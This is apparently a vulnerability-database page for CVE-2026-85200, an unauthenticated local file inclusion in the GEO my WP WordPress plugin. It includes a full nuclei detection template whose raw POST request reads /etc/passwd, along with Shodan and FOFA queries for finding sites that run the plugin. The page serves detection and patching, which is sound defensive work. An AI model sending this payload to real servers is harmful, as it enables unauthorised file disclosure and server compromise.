Browse / CVEs / CVE-2026-85200
CVE-2026-85200· developer.developer / geo-my-wp· CWE-98
GEO my WP <=4.5.5.3 - Unauthenticated Local File Inclusion
highseverity
7.5CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
GEO my WP WordPress plugin <= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.
Impact
Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full server compromise and data exposure.
Fix
Update to the latest version beyond 4.5.5.3.
How to confirm it
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "root:x:0:0" AND status 200Run it with nuclei: nuclei -id CVE-2026-85200 -u <target>
The full check
id: CVE-2026-85200
info:
name: GEO my WP <=4.5.5.3 - Unauthenticated Local File Inclusion
author: 0x_Akoko
severity: high
description: |
GEO my WP WordPress plugin <= 4.5.5.3 contains a local file inclusion caused by improper handling in gmw_posts_locator_ajax_info_window_loader function, letting unauthenticated attackers execute arbitrary PHP code remotely.
impact: |
Unauthenticated attackers can execute arbitrary PHP code remotely, potentially leading to full server compromise and data exposure.
remediation: |
Update to the latest version beyond 4.5.5.3.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/562712a8-a42e-4b36-9985-3c71698efdda
- https://github.com/Fitoussi/geo-my-wp/commit/5a768bf1c6e44ded83a65be8789f3587515665ac
- https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5.3/includes/gmw-functions.php#L1945
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-85200
epss-score: 0.03227
epss-percentile: 0.88356
cwe-id: CWE-98
metadata:
verified: true
max-request: 1
vendor: developer.developer
product: geo-my-wp
shodan-query: 'http.html:"/wp-content/plugins/geo-my-wp/"'
fofa-query: 'body="/wp-content/plugins/geo-my-wp/"'
tags: cve,cve2026,wordpress,wp-plugin,geo-my-wp,lfi,unauth,vkev
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=gmw_info_window_init&location[object_id]=1&location[location_id]=1&form[component]=posts_locator&form[prefix]=pt&form[info_window_template][content_path]=/etc/passwd
matchers-condition: and
matchers:
- type: word
part: body
words:
- "root:x:0:0"
- type: status
status:
- 200References
- https://www.wordfence.com/threat-intel/vulnerabilities/id/562712a8-a42e-4b36-9985-3c71698efdda
- https://github.com/Fitoussi/geo-my-wp/commit/5a768bf1c6e44ded83a65be8789f3587515665ac
- https://plugins.trac.wordpress.org/browser/geo-my-wp/tags/4.5.5.3/includes/gmw-functions.php#L1945
Use this check only on systems you are authorised to test. Where the data comes from